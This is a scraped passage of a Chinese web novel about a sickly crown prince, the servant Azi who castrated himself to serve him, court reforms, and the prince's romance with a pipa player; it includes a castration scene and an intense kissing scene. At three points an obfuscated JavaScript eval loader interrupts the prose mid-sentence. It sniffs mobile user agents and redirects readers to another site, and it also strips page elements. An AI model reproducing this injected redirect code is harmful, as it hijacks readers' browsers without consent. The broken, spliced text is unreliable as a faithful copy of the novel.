的确,那天晚上他们挨靠着站在蚕室外——蚕室是全天下最可怕的黑屋子——一个接一个轮流进入,又一个接一个提着裤子走出。阿子等候着,清晰听到屋里发出的一声哭泣,像一只被骟的公鸡。他在家见娘舅干过这活,娘舅擒住鸡脖,像反剪他双手一样把两根公鸡翅子叉住。阿子饱含经验地想,他要动脚了。下一刻娘舅把公鸡踩在脚底,在鸡胳肢窝里的毛拔干净,然后他拿出一把锈迹斑斑但银光闪闪的小刀。像那把残血点点但银光闪闪的匕首一样。那只公鸡开始扑腾,阿子感觉是自己在挣扎。娘舅的声音和另一个又尖又细的嗓音响起:愣什么,还不按住他! 阿子慌忙上前将公鸡按在地上,鸡头压在地上的一瞬他感觉自己吃了一嘴的土。娘舅擒鸡,风行雷厉,银刀入肉的一瞬公鸡发出男孩的哭泣,阿子喉咙里传来公鸡最后的高鸣,呜呜呜呵呵呵,咯咯咯哦哦哦。娘舅一脸厌烦,小刀一转,阿子感觉身下一凉,一定眼,鸡血打湿了羽毛,比从前还要亮丽。 叫叫叫,割了这玩意还要叫。娘舅把灰白球体一抛,阿子立刻听到看门狗奔跑咀嚼的呼噜之声。阿子流下公鸡最后一滴阉鸡第一滴泪。哦哦哦咯咯咯,呵呵呵呜呜呜。那个又尖又细的嗓子很不耐烦,娇贵什么,真正娇贵的等着伺候呢!得了,给他拿酒擦擦,别掉你那金珠子,下一个,我一整日劁你们这群小崽子呢! 阿子第二天走姿奇怪地进了东宫。他没有心思瞧那画栋雕梁一眼,他全部的精力只能用来忍痛。这一天到他踏入东宫的前一刻没有一个人在意他,他败于此痛,但他最后得以花落东宫,竟是成也此痛。 在娘舅描述里,东宫宫室香料满溢,比满山野花盛开的味道还要馥郁百倍。但阿子进去的一瞬,发现东宫宫室药气满溢,比他给娘抓药的那间药铺的味道还要浓烈千倍。下一刻,他听见一个少年很轻的声音:我讲过了,不要给我这里送人。我不要那么多人。 昨日青面獠牙的骟鸡者突然变成低眉顺目的鸡头子,他用一种不像公鸡又不像母鸡的腔调讲:殿下难为奴婢,奴婢只是听差使的,上头的意思,哪里做得了主。 那少年又讲话,阿子直觉,那一定是个好脾气的少年人。他问的很隐晦:都好着吗? 鸡头子一愣,又咯咯笑道:都好着,稳稳当当的童男子呢。 他这话讲得似乎很不得体,阿子没有抬头,都能想象出少年微红的脸颊。少年说,但我真不用这么多人。 鸡头子讲:您好歹留几个……一个,至少一个。您是心慈的菩萨,可怜咱们这些做差的。 他们的话苍蝇般飞来绕去,在阿子耳边嗡嗡乱转,那令人眩晕的振翅之声扇起一股巨大的疼痛。那少年似乎要再说话,阿子却非要抢这个主角,先行一步跌倒在地。 鸡头子吓了一跳,那副獠牙青面在他脸上一闪而过,恐惧却比暴怒更早占据了他阉鸡的头脑。他跟着扑通跪在地上,啄米般不住磕头,道:殿下恕罪,殿下恕罪,奴婢一定狠狠教训这不中教的东西,您身子金贵,不值得为奴婢气坏身子! 脚步声走近。 阿子痛得冷汗直流,眼前一片模糊里,冒出一只手。 少年扶起他,问,你有伤? 阿子讲不出话。 少年说,你的伤,我能瞧瞧吗? 阿子哆哆嗦嗦,记起第一条宫规:主子的话就是天。天要看他的伤不得不给看。阿子伸手解自己的裤带,却被那只手迅速按住,那只手比他剧痛之下的手还要冷。 他听到少年低声喘息,继而断断续续呛咳起来,他边咳边说,不用了、不用了,快,快把他们都领到后面去,叫太医,把能叫来的太医都叫来!再叫人去请陛下,我要见陛下! 后面皇太子一场大闹的故事就人尽皆知了。但阿子认为,传言的演绎成分颇多。 作为这次事件的当事人,阿子和不算男孩的一群男孩躺在东宫后堂,□□疼痛时心理奇异。他们来东宫争抢奴才身份的第一天居然躺上东宫的床铺,这简直惊世骇俗。 不多久,一个男人匆匆闯入,阿子模糊看得,他穿一件寻常黑衣,也没有前呼后拥的仪仗,更无彰显身份的标志。直到他与东宫开始交流,阿子才发现这是皇帝。这位皇帝显然突破他对皇帝的固有认知。之后他会发现这样的事多的是。当时痛觉把皇帝太子的谈话撕扯成千丝万缕,阿子现在只记得这段对话的最后一寸布头:皇太子跪倒在地,带着哭腔,说陛下,您也在我身上这么割一刀吧! 他这句话一出反倒像割了皇帝一刀。皇帝转过头,对阿子今后的师傅秋童说,去查,是谁又选人进宫,是谁给他们私自动刀的,查清楚后立即报我! 报给我。 太子虚弱但坚定地说。 阿子隐约察觉到太子对皇帝的猜疑与提防,但皇帝没有争辩甚至没有发怒,他沉默着照单全收。再过一段时间阿子才知道,他进宫的这一年初,皇帝已经明文废止宦官制度。但很明显,所有人都对皇帝阳奉阴违。 阿子一度很奇怪,为什么他们胆大包天至此。直到后来他才领悟,皇帝并不是手握生杀大权的人,而是连自己最要紧的人都救不了最痛恨的人都杀不死的人。显然阿子也有一定的智慧,他和太子领悟这道理几乎是后脚踩着前脚跟。进宫做活是穷人家走投无处的一条活路,这条路又生出乱麻一团的千条财路。皇帝不能一下子砍断穷人的活路也不能一下子斩断得利人的财路,他先要做的是从一堆乱麻里理出第一根线头。这也成为皇帝转变改革作风的一根线头。但当时,这件事最直接带来的,是一个无比接近皇太子的机会。 阿子是个很会把握机会的人。 当夜皇太子亲自来看他,确切说是亲自看了每一个人。阿子是最后一个。太子脚步走到前一个人面前时,阿子又听到他隐忍的咳嗽声。他的身体似乎很不好。 过一会,萧玠从他榻前坐下,和对待之前的十数人一样,他先察看了阿子的伤口,转头问太医:他的伤口怎么这么重? 太医正纳闷,这……昨晚来看,明明没有这么深的口子。 阿子还没从皇太子察看他伤口的震骇里回神,演练过千百次的嘴巴已经抢先说道,是奴婢福薄,先行冒犯殿下,现在又这么不争气…… 太子温和地打断他:没有,你好好养伤,缺什么就找人要,有什么事也找他们告诉我。 太子也照例问了他家中几句,如阿子所料,问到了他的生日。 阿子说,奴婢是正月十五出生。 太子神色显然变得不一样,问,上元吗? 是。阿子怕他不信,忙补充道,每年过生日,奴婢都能跟着去看看灯,也能分个粽子吃。 太子点点头,又嘱咐几句,便由人看护着离开——注意阿子在这里的措辞,是“看护”不是“簇拥”。没有娘舅嘴里浩荡的灯队和排场,只有一个妇人虚扶,一个太医跟随,太子自己提着灯。 太子走后,阿子将藏在铺里沾血的小刀收起来,银白刀光倒映他脸色青白。一个晃神,他像看见一只青头白喙的新劁的鸡雏。他有一种直觉,东宫今夜的驾临是明日朝阳的朕兆。他浑身涌动雄鸡面向太阳时五体投地的原始冲动。他激动地面向东方,像要开嗓引吭—— 阿子看到娘舅撒开手,那只公鸡窜远,竹叶爪痕下跑了一溜血迹。阿子彻夜未眠,在院里盯了它一夜。直到第二天第一缕阳光洒落,他看到那只萎靡许久的公鸡突然振翅,照常飞上屋檐,面向那轮新生红日,胸脯挺起,气势汹涌。阿子和它一样激情涌动,在太阳升上屋檐的一瞬,他听到自己喉咙里发出不伦不类的叫声。 咕。咕咕。咕咕咕。 不是公鸡也不是母鸡,是一种阉割后的终身残疾。那时候他们的年纪都不明白这种残疾包含着什么意义。不过他们还有很长的一生来体悟这件事情。 阿子渐渐趴在床上,擦了擦脸,咧开嘴角。 至少能看见太阳。 至少,还有很长的一生。 侍奉东宫的人选名单跟随第二天的晨晖照进来。阿子的名字被太阳照成金黄。他低眉顺目,五体投地地拜向东方。 来领他的大监秋童皱了皱眉,却没有说话,看他磕完头才说,这就是我要告诉你的第一件事,进了宫,别随便给殿下磕头。 阿子不明白,但阿子听从。奴婢不需要明白,奴婢只需要听从。 秋童将他从庑房领去内庭,一路上宫殿阔大空落,几乎没看到几个宫人。秋童看了看日晷上的影子,说,殿下在做早课,结束后应该会来见你。 阿子问,殿下以后的早课需要伺候笔墨吗? 秋童说,殿下这时候的早课不是念书,是诵经。 他顿了顿,问,你识字吗? 阿子低下脸,摇一摇头。 秋童没多讲,只说,以后殿下可能会教你识字。识了字,你记得也看那本经。别叫他自己一个。 太子万人之上,怎么会自己一个?这个疑问阿子没有讲,他直觉这不是自己该讲的东西。 秋童将他领到屋中,说,陛下叫我讲给你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594040|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他一时疏漏,叫你们平白受苦。他对不住你们。留你们在宫里,也算有个吃饭睡觉的住处——秋童突然说,你知道吗,是殿下亲自去陛下跟前求的你。 阿子有些讶然,又有些意料之中。他知道自己赌对了,但秋童接下来的话让他冷汗直流。 秋童面容严肃,声音冰冷:陛下说,殿下身边只能要忠厚老实的人。如果生出什么算计…… 他停了停,说,一个父亲为了儿子,什么都能豁出去。 阿子心跳如鼓。 他想起从前娘舅讲述里,那些罪犯欺君的人。有被丢进油锅的,有被拦腰砍成两截的,有被绑上烧红的铁柱活活烤死的,有被一刀一刀剔成骨头架子的…… 阿子汗流浃背,颈项发凉,不知过了多久,听见有人喊了他几声。 他回神,见竟是太子站在他面前,穿一件服制奇怪的圆领衫袍,额头上束一根花纹奇怪的红带,手里拿一卷文字奇怪的经书,正有些担忧地看他:是不是伤口又疼了?我刚拿了点药,一会我给你上药吧。 好奇怪。娘舅说,进宫跪着也比野地里站着金贵。那进宫一定是要跪着。可现在,他的主子不要他跪,反而把他扶到床上,在他面前蹲下来。 太子萧玠应当是常被伺候的人,但阿子从他的举动里看,似乎并非如此。一个常被伺候的人不会这么端水试水,很有比例地兑药粉浸帕子,更不会蹲在面前,自下而上地抬头看他,轻声问,可以吗? 阿子的奴才思维被这句话震得发麻。 以至于萧玠沾药膏的手触碰上来时,他突然掉下眼泪。 萧玠吓了一跳,忙问,我弄痛你了吗? 不。阿子忙擦脸,我……奴婢只是心里难过。 萧玠沉默一会,说,对不起。 他没有起身,半天,很低很低地又说一遍,对不起。 *** 萧玠要去给皇帝问早安,后来阿子才知道这叫晨省。萧玠出门后,阿子照吩咐去太医署拿他今日的药方。太子什么都能俭省,除了吃药。 拿药回来的路上他听见一个声音叫他,其中的刻毒阴森之意刺向脊骨。阿子一个冷战,转过头,看到给他们掌刀的领事佝身盯着他,目光沉沉。 领事的服色有所改换,也瘸了右腿。他顺着阿子的目光看去,呵呵笑道,拜你们所赐,因为给你们动刀,陛下赏了好一顿杖板。我把你送上富贵路,你就是这么来报答我? 阿子看见他眼底疯狂的精光,心中害怕,提步要走,突然听领事叫道,你说,陛下如果知道,太子身边有一个居心叵测之人,会怎么料理? 领事举起手,手里捏着阿子丢掉的那把小刀。 他拖着残腿一步步逼上来,低声说,一个为了贪图富贵对自己都能下这种狠手的人,将来能对太子干出什么事来?陛下若知道,会怎么处理这个算计太子、欺君罔上的东西? 阿子浑身冰冷,无法挪动一步。 领事把小刀收回袖中,咕咕笑道,你们这么报答我……明天,就是你的好日子。 今日大监秋童的声音在耳边响起:一个父亲为了儿子,什么都能豁出去。 阿子在剩下的半天想了自己的一百种死法。 他再不知道礼数也清楚,欺君之罪,罪该万死。 只是太子这么好的一个人,自己这样欺骗他,只怕他会很伤心。 傍晚时分,天边晚霞艳丽,红如山花怒放。一派彤红的霞光映照下,萧玠终于回宫,脸上倦意淡淡,见阿子守在门前看药炉,笑道,你有伤,起来吧,一会我自己倒。你坐那边去,我再给你上药。这药每日要上两次。 阿子应一声,从床边坐下,脸扭向一旁。萧玠只当他害臊,也没说话,直到他听到声音,见阿子捂着脸低声哭起来。 萧玠问,怎么了? 没什么殿下,没什么。 有什么。萧玠说,你今天哭了两次。 他停一停,放缓声音,说,你若有什么难处,可以直接告诉我。不好开口,我便不问了。 阿子低头坐着,许久,才颤声说,奴婢……犯了欺君大罪。 萧玠没有追问,只是等待。 阿子哭道,奴婢是为了留在殿下身边,自己又割了一刀……奴婢不是正月十五的生日,奴婢自己都不知道自己是哪天生的人……殿下不知道,是奴婢欺瞒了你,奴婢罪该万死…… 萧玠说,我知道。 他说,上元不吃粽子,上元要吃的是汤圆。 阿子怔怔看他。 萧玠给他的伤口洒着药粉,说,以后我带你吃汤圆。 …… “现在,”萧玠问,“你还记得你看过最漂亮的天空吗?” “记得。”阿子回忆道,“是个晚天,天边好红好红,跟开了一整山的花似的。鸡冠子花、杜鹃花、石榴花,漫山遍野的花都比不上那天的晚霞。奴婢头一次觉得,太阳照到身上是热乎的。在太阳快落山的时候。” 萧玠问:“是你家乡的晚天吗?” “不,是宫里。” 阿子说:“是奴婢伺候殿下的第一天。” 萧玠看他一会,对他笑了。 “你记得,以后上元要吃汤圆的。”他说。 80.第 80 章 太子还朝三日后,也就是忠心为主的内官阿子下葬翌日,我收到来自东宫的传召。 或者说,邀请更合适。 前来的是个脸生的内官,名叫瑞官,和阿子同为宫中最后一批去势之人,之前帮皇帝一块照料菜地,如今拨来照顾太子。 瑞官道:“殿下得知郎君生还大喜过望,特请郎君入宫一叙。” 我问:“殿下在做什么?” 瑞官道:“殿下在为阿子跪经。” 我点点头,道:“有劳内官奔波一趟,只是一会教坊演练,臣暂时无法应召,还请殿下恕罪。” 瑞官似乎受过嘱咐,虽讶然,却没有勉强。 今日鼓吹演练仍是全套《牡丹》,从前这戏被视作淫佚,据说是怀帝在位时松泛禁制,方传播演绎开来。直至黄昏,整套才演练结束。大伙正在兴头,吃了几口水酒,忙叫再演一遍。 拨琴的乐者玉奴停手,笑道:“再演一遍有什么趣?左右没人,不如排些旁的来。” 我问:“你要演什么?” 玉奴目光一闪,“不如演最难的。” “最难”者众人心知肚明,讳莫如深。果然,一名小旦支吾道:“郭公献的《龙虎谣》?陛下不是不叫演了吗?” 玉奴道:“陛下不叫演,在场有不会的吗?与其叫明珠蒙尘,不如拾掇起来。咱们练到纯熟,再请个乐师重新作情节,说不定还能发扬光大呢!七郎,别愣神了,你说怎么样?” 我便笑道:“既如此,那咱们冒个大不韪,搭上一场!” 众人借着半醉,一齐叫喝鼓掌,当即各归各位,只是行头不全,得素着上场。 闹腾这会,夕阳已下山洗净胭脂,换作素面重悬天边。天幕下,琴声笛声琵琶声如同蛛丝,轻飘飘从这个屋檐悠荡到那个房梁,紧接着,小旦清亮的嗓音响彻晚云:“白虎流离平野,玉龙颠簸溪滩——” 砰地一声,院门推开。 我一见来人,头顶如击飞电,手指一下子掉下来。 众人正要责怪,看清那人,乱哄哄扑在地上,高一声低一声叫道:“太子殿下千岁!” 萧玠只穿一件素色常服,从月下走出,浑身如同积霜。他声音依旧平和:“大伙起来吧。” 玉奴忙膝行上前,“殿下,是妾的主意,妾只是觉得这曲子套数俱佳,心中可惜,妾……” “娘子何须谢罪,我亦有此意。”萧玠笑了笑,“只是这出传奇我没有完整听过,能否劳烦各位,替我排演一次?” 皇帝下旨所禁,众人不敢轻易答应。萧玠便看着我,“沈郎,你说呢?” 我硬着头皮笑道:“殿下有令,岂敢不从。” 他仍看我,夜间那双眼仁尤其漆黑,乍一对视竟很是惊心。我抱了琵琶重新坐下,深呼吸几下,再度拢捻。 萧玠神色平静,从台下一把空椅子里坐下来。 云板再响,唱腔再亮,天边白玉盘下,两个小生已跨步登场。 一个是将军,一个是亲王。一个镜花鉴水月,一个真龙承虚鸾。脚步凌波挪动,如同胎心震动之声。 萧玠第一次观看这场演奏。 正如我第一次参与这场演奏。 我在台上他在台下。 台上的我也在看台下的他。 我是个敬业的演奏者,他是个痴迷的看客。 或者颠倒过来,谁知道呢? 人生如梦,人生如戏。梦也是戏,戏也是梦。 都是梦中人,戏中魂罢了。 演到摔婴一场,台上却没半个包袱充作襁褓。皇帝将军对峙完毕,眼瞪眼鼻观鼻,事急从权,便夺过我刚停下的琵琶佯作要掼。 他们常做这行当,手上有数,看似竭尽全力,实则落地也就轻飘飘一下。我打算事后讹一盏酒吃,也便罢了,突然听台下叫道:“停住!” 众人一齐望去,见萧玠从椅中立起来,脸色微白,呼吸急促。众人心中大惊,纷纷要跪。 这一跪之前,萧玠已经舒松眉眼,鼓掌笑起来,叫道:“好!” 台上纷纷松气,笑着同他见礼。他脾气温和,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一瞬间,人声戛然,人群静止,只余冷风缕缕吹拂,我甚至感觉到寒毛一根一根从肌肤上倒竖起来。月亮悬空,照彻人间万千欲望,萧玠立在当中,大无畏地冷冷静静。 我干笑一声:“殿下,臣在薰娘庙是权宜之计。臣要用迷香,只能行此下策。” 萧玠不听我狡辩,直接道:“你要用迷香,可以下在水里,放在吃食里,甚至能用帕子捂晕我。但你亲我。” 我差点以为自己耳朵坏掉。 睽睽众目射出的视线如乱箭纷纷,贯穿萧玠胸口也贯穿我。那月光般透明的血液从他心口洇渍,如同泪痕,淋淋满襟。萧玠用那样倔强又受伤的神情看我,我结舌道:“殿下,生死关头,无需这样计较吧。” 萧玠说:“那寻常时候,夫妻之礼,你也无需计较吗?” 我忙叫道:“臣没有!这个臣真的没有!” 萧玠追问道:“同衾同枕,你没有?交颈磨鬓,你没有?躲我躲到今天,你没有吗?” 我疑心萧玠受了什么刺激,竟让他撕下脸皮当众逼问这些事,忙跳下台来,要去拉他。萧玠却退后避过,哑声问:“就因为我不是个娘子,我没有贞节可讲,你就能做完这些,冠冕堂皇地讲这种话?你把我当什么人了?” 我叫他神色一震,一时结舌。萧玠已恢复平静,抬袖揾了把脸,向前走上一步,冲瞠目惶恐的众乐者道:“我有些私事,先和他走了。大伙演的很好,我会请奏陛下重开此曲,后续事宜,等沈郎和各位交接吧。” 说罢,他拽住我手腕,快步走出院门。 萧玠向来体弱,今夜却不知哪里生出奇大的力气,像从手掌心又钻出一只手来,一径拉着我往园中走去,直到林深处才停下。 春日已暮,满树梨花半谢,月光下如同飞雪。萧玠坐在石头上慢慢缓气,我看着池中他的倒影,还是抬手替他抚背。 萧玠脊背微微一震,没有再动,片刻后才开口:“这儿是咱们第一回见面的地方。” 我道:“只是臣不认得殿下,殿下也不认得臣。” 萧玠笑了笑:“你不认得我,我不认得你,你的琵琶却认得我的琵琶,你却认得我的心。你那天晚上弹了那首曲子,注定这辈子和我做不了陌路人。” 我道:“做知音也很好的。” 萧玠看着池中,探手去捞那片水月。他说:“做知音是很好,可我不甘心。” 我静静道:“万事安能尽如人意。” 萧玠手指一颤,掬起的池水一下子被打碎,碎片哗啦啦从他五指间流下。 我叹道:“殿下,咱们从前说过这事儿。殿下已经给了答案。” 萧玠扭头问我:“你想听我现在的答案吗?” 我默了一会,道:“殿下,你知道你喜欢过游骑将军,也确定曾对嘉国公世子心有所动,但对臣,你一直犹豫不决。生死关头险象重生,会给你一种错觉,误以为依靠和信赖就是喜欢。但如今一切落定,你会明白,你喜欢的只是危险中的镜花,深潭里的水月。你因为没有抓住他们,才要尽力抓住臣,这才是你的不甘心。” 萧玠没有说话,那只手轻轻一扬,手中水洒作池中圈圈涟漪,又融成一轮光晕模糊的月亮。 等那水月重圆,萧玠才问:“你喜欢我吗?” 我静了一会,道:“臣的确喜欢殿下。” 萧玠浑身一哆嗦,我继续道:“但殿下天潢贵胄,臣并非良人。” 半晌,萧玠才瓮瓮道:“但你亲我。” 他站起来,一瞬不瞬看着我的眼睛。他看似很冷静地问:“你亲我的时候,在想什么?” 我脑中一白,愣神间,萧玠已经拽住我领子,踮脚亲上来。 他舌头撬开我唇缝时我浑身一麻。先前到底是为了他的心病,我不敢太过,萧玠更是瑟缩,只有极其情动时才会有所回应。他仍是那样婴儿吃奶的亲法,亲久了仍浑身打颤渐渐站不稳。我原本还能扶住他,今夜不知怎么,竟也脚底打滑,两个人不知怎么就跌到地上。 萧玠叫我抱在身上,仍未离开我的嘴唇,两个人鼻息哧哧交缠间,分不清是谁的心跳也咚咚震着。等萧玠快喘不上气,终于抬起脸,将我的手拉低去摸。那处我和他紧密抵合。 一瞬间,他眼泪啪嗒落下,道:“你说过,喜欢一个人,才会这样的。” 萧玠整张脸泪痕涎痕交错,声音也颤抖:“七郎,我真的不明白,你们为什么都是这样……为什么喜欢一个人,还能咬着牙把他越推越远?” 我怕他摔下去,半搂他在身上,终于道:“可臣……是个男子。” 萧玠迅速道:“我不怕。” 我道:“臣会害死你。” “你救了我。没有你我早死了。”萧玠定定看着我,“要么死在潮州,要么死在果刀底,要么早就从城墙上跳了下去。是你救了我,你救了我好多次,就算你要害死我……” 他想了想,说:“那你害死我吧。我只让你害死我。” 此情此景,加上他这些赌咒生死之语,我实在没办法完全平静。这么抱着他看了一会,我喃喃道:“殿下,你要知道,臣很小心眼的。你选了臣,郑郎虞郎不能再看一眼。你以后若要娶妻,臣会一哭二闹。你以后身边……床榻上,只能有臣一个人。” 萧玠垂着眼,点了点头。 我看了他好久,再道:“臣也不会做雌伏的那个。” 我感觉萧玠浑身一绷,却没有挣动。好一会,他擦了把脸,低低说:“都听你的。你想怎么样,都听你的……你不要走,行不行?” 我深吸口气,再度抬头看他。月光如缕,飞花如霰,满世界如盖冰雪。这样迷离的光影里,萧玠脸若酡色,目若泫然。这样对视良久,我扳住他脸颊再次吻住。萧玠没有挣扎,紧紧抱住我后颈,不一会就抖若筛糠。 好半晌,我才从他耳边叹道:“殿下放心,臣想走也走不了了——那殿下,现在能不能先从臣身上下来?这幕天席地的……殿下骑术太好,臣快忍不住了。” …… 后来我认为,真正叫萧玠迈出这一步的不只是对死别的恐惧,还有我替他引开追兵这件事本身。听他讲,肃帝驾崩之夜,他两位父亲闯出京城,梁皇帝也更换秦公衣服替他引开追兵。这一壮举成为二人爱情的重要节点,也在萧玠心中留下宿命的烙痕。父辈故事过分深刻地影响了萧玠的爱情观,哪怕有他们的前车之鉴,他依然认为我们这段冥冥相似的感情是天赐良缘。 *** 云娘是杨皇后的闺中侍女,如今陪嫁入宫,便是中宫大宫女。但她鲜少在立政殿中见到皇帝身影。就算皇帝驾到,更多的时间也是坐在一旁,凝视香案摆放的已故户部侍郎裴兰桥的神主。只有这时候,他才会遣散众人,同皇后独处一室。 譬如现在。 云娘关门而出时,杨观音正手持绢布,仔细擦拭裴兰桥灵位,道:“家兄贪墨案进展如何?” 萧恒道:“已经查到你父头上,再过几日,士嵘就能解禁了。” 杨观音问:“父亲贪了多少?” 萧恒道:“奉皇年里林林总总五十万两,大多是求到他门下来疏通关系。放在三品以上官员的贿款里不过一毛,但……” “总得杀鸡儆猴。”杨观音道,“更何况,秉公论处,一两便是重罪,遑论五十万数?” 萧恒道:“只是委屈你们。” 杨观音放下神主,笑道:“陛下今日怎么客气起来。” 萧恒看她一会,道:“仲纪死前其言也善,潮州得有更新的父母官。折冲府的人选,我有了定数。” 后宫不得干政,萧恒虽不在意此事,到底不愿搅扰她清静。如今出言选官,杨观音难免纳罕。等萧恒讲了几句,她有些讶然,道:“妾本以为陛下要调几个老人。北边赵帅南边狄帅,哪个不比他一个孩子资历深?” 萧恒道:“这孩子也是我看着长大的,老成持重,很有乃父之风。他手头的活最近完工,请回京省亲,我也准备给他另置差事。他去那边,我放心。” 杨观音顿悟,“陛下是想栽培年轻人。” 萧恒笑了笑:“后继之事,到底要有后继之人。” 杨观音看向那幅观音宝像,观音笑若荷花,更像裴兰桥青春颜色。她道:“那潮州府官的人选更要仔细考量。两个人总不能政见相左,去了不干正事,天天拌嘴吵架。” 萧恒想了想,道:“崔鲲的确最适宜。” 杨观音道:“陛下圣意已决,还有什么犹疑?” “今天,阿玠也同我说了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599639|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事。”萧恒道,“他想去潮州。” 这的确出乎杨观音意料,“可自古至今,从没有外放地方的太子。”她观察萧恒脸色,轻轻问:“何况殿下的身体……” 萧恒没有说话。灯花轻轻爆一声,他却说了另一件事:“阿玠还跟我说,他和人相好了。” 杨观音问:“不知是哪家的娘子?” “不是娘子。”萧恒道,“你也见过,教坊的琵琶手沈娑婆。阿玠不好的那一阵,一直是他陪着。” 片刻后,杨观音道:“有个知心的也好。” 萧恒颔首,道:“孩子大了。” 杨观音笑了笑,倒了盏花茶给他。萧恒接在手,过了片刻,举在嘴边吃,一饮而尽。 *** 不久,皇帝下诏,东宫提前加元服,皇太子萧玠正式参政。 令月吉日,皇太子高庙祭天,上为之加冠,取字“明长”。 朝中无人反对。所有人都知道太子的寿限。 自此,萧玠成人,成为大梁上下唯一一个不满二十而完冠礼的男子。次日,萧玠登含元殿,于群臣之上皇帝之下单独列座,面色温和平静,一年前的春色秘事似乎未染其身。 众人意识到,潮州案让皇帝的立场有所变动,他对太子涉政的态度从反对转向中立,这种中立其实与支持无异。 一个月后,第二道空前绝后的诏令下达,举朝震动。 大内官秋童宣旨:“潮州百废待兴,当澄清吏治,再设官署。特出刑部员外郎崔鲲为潮州刺史,补授侍中缺。” 门下正三品侍中本有两人,一位刚刚告老,如今正有一名空缺。也就是说崔鲲名为补官,实际是皇帝特为其京中留职,是名副其实的三品大员。 当即有朝臣出列,“只是地方贪贿之风盛行,崔郎辞黜置大使一职,还有哪位相公堪当此任?” 萧恒道:“杨士嵘贪贿案已告一段落,实属诬告,便叫他返还其职,继续替我走走地方吧。” 户部员外郎汤惠峦问:“臣闻国舅贪贿为假,国丈贪贿却真。不知陛下要如何处置。” 杨韬尚未知结果,脸色一变,立时道:“员外郎,对天污蔑是什么罪状,你可知晓?” 汤惠峦笑道:“欺君当死,但温国公,要看是谁欺君。” 见他二人水火势起,萧玠正要说话,便见秋童立在对面轻轻冲他摇头。这么一迟疑,殿外已响起内官禀报声:“启奏陛下,皇后娘娘求见。” 一时百官哗然,虞山铖也不由拧眉,道:“陛下,皇后尊贵,却分属后宫。后宫不得干政,这是祖宗礼数。” 那内官急得满头是汗,“皇后娘娘脱簪素服,跪在殿外,奴婢们劝也劝不动啊。” 萧玠看秋童眼神,会了几分意,从座中起身对萧恒说:“陛下,请殿下进来吧。殿下是天下之母却跪于殿外,而我等居于殿中,岂非令殿下以母拜子,有失体统?” 萧恒颔首,“太子说的是。大内官,你去请皇后入内说话。” 看来他们是商量好的。 萧玠领会,便安下心,重新坐下。 杨皇后果然未戴珠钗,青丝垂身,未着绫罗,素布为裙。她登殿后,先向萧恒见礼,萧玠便率群臣拜问皇后金安。你来我往的礼数过后,萧恒开口:“皇后,你执意越矩觐见,所为何事?” 杨观音再拜,“妾为家父家兄一案而来。” 汤惠峦早有预料,道:“娘娘,国法森严,便算是王子犯法也与庶民无异。何况温国公仗国丈之名监守自盗,岂非败坏天家颜面。” 杨观音看向他,“员外郎年纪虽轻却识大体,所言颇合妾意。” “妾请陛下万勿徇私,从重处罚。” 此言一出,满堂皆惊。 杨韬不可置信,浑身颤抖的以手指她,“娘娘,你说什么?” 杨观音昂首看向萧恒,“温国公身为国丈,有损天威,知法犯法,罪加一等。妾请陛下废黜温国公公爵位,除其官职,罢为庶民。” 连虞山铖都忍不住劝道:“娘娘,国公年事已高,所收资奉亦是小数,何必……” “千里之堤溃于蚁穴,贪墨之风不绝,大梁永无宁日。”杨观音道,“我父有罪,不敢不认。妾请从严处置,愿开京都第一刀。” 82.第 82 章 朝臣之中一片哗然,秋童清了清嗓子:“各位,咱们旨还没宣完呢。” 有了先头一事,众人都打起精神,生怕萧恒再颁下什么不得了的旨意。果然,他们听秋童道:“命皇太子萧玠巡狩潮州,所至如上躬亲,特赐龙武卫、太子六率随行卫护,不得有失。游骑将军郑绥擢忠武将军,暂领潮州折冲府军务。” 一听郑绥之名,萧玠身形一动。虞山铖也问道:“只是小郑将军远在崤北,是否已奉旨归来?” 萧恒笑道:“去庑房改换朝服了。大内官,看看将军换好没有,更衣毕便来见见他这几位同僚。” 不多时,便闻登阶声渐近,从殿外自内唱喏游骑将军郑绥拜见,一个高瘦身影已出现在殿门间。 郑绥已更换朝服,身姿挺拔,步履生风。他从殿中跪下,叩首接旨,起身时看向萧玠,旋即收回目光。 “郑将军。”萧恒开口,“你们一行南下,太子还要你多多看顾。” 郑绥长揖,道:“臣必万死以护殿下周全。” *** 下朝时,萧玠从殿门外瞧见等候已久的郑绥。 他含笑走上前,隔着一道门槛,两人注视片刻,异口同声道:“怎么瘦了?” 萧玠笑了一下,跨步迈出门,道:“回来也不告诉我一声。” 郑绥道:“回得急,信不如马快。” 萧玠应一声,不再讲话,扶着栏杆往下走。郑绥陪在身边,不远不近地,像天边云鸟的距离。这么默了一会,郑绥又问:“殿下近来玉体安健吗?” “比以前强很多了。”萧玠笑了笑,“我会骑马了,也能射几支箭,只是准头不太好。” “慢慢来,不急。”郑绥说。 萧玠只垂着首,手掌滑过栏杆,汉白玉质温凉,被太阳晒得如其体温。 